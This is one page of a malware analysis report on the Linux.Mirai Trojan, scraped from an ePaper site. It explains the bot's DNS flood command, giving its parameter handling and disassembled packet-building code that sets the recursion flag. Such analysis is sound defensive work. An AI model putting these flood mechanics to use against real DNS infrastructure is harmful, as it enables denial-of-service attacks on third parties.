03.10.2016 Views

Investigation of Linux.Mirai Trojan family

u97CXm

u97CXm

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

34<br />

34<br />

cmd2 – DNS flood<br />

This command uses parameters similar to the previous ones; however, in this case, the value transaction_id<br />

and the domain name that needs to be requested are added for the DNS packet:<br />

TOS = getNumberOrDefault(params_count, params, 2, 0);<br />

ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);<br />

TTL = getNumberOrDefault(params_count, params, 4, 64);<br />

frag = getNumberOrDefault(params_count, params, 5, 0);<br />

sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);<br />

dport = getNumberOrDefault(params_count, params, 7, 53);<br />

transaction_id_1 = getNumberOrDefault(params_count, params, 9, 0xFFFF);<br />

random_data_length = getNumberOrDefault(params_count, params, 0, 12);<br />

query = getString(params_count, params, 8, 0);<br />

A packet containing 100 domain requests is generated and sent to the specified address. The Recursion<br />

desired flag is set:<br />

.text:0804A4D3 mov [ecx+dnsheader.flags], 1 ; Do request<br />

reqursively<br />

.text:0804A4D9 mov [ecx+dnsheader.qdcount], 100h ;<br />

One Request<br />

.text:0804A4DF mov [edx+ipudp_2.queries], al ; size<br />

<strong>of</strong> random generated<br />

.text:0804A4E2 mov ecx, [esp+6Ch+random_data_length]<br />

.text:0804A4E6 push eax<br />

.text:0804A4E7 mov eax, [esp+70h+length_<strong>of</strong>_domain]<br />

.text:0804A4EB push eax ; a3<br />

.text:0804A4EC lea ebx, [edx+ecx+(ipudp_2.queries<br />

+1)]<br />

.text:0804A4F0 mov eax, [esp+74h+domain_query]<br />

.text:0804A4F4 push eax ; a2<br />

.text:0804A4F5 lea eax, [ebx+1]<br />

.text:0804A4F8 push eax ; a1<br />

.text:0804A4F9 call strncpy<br />

.text:0804A4FE add esp, 10h<br />

.text:0804A501 mov esi, [esp+6Ch+length_<strong>of</strong>_str]<br />

.text:0804A505 test esi, esi<br />

.text:0804A507 jle loc_804A71E<br />

.text:0804A50D mov edx, ebx

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!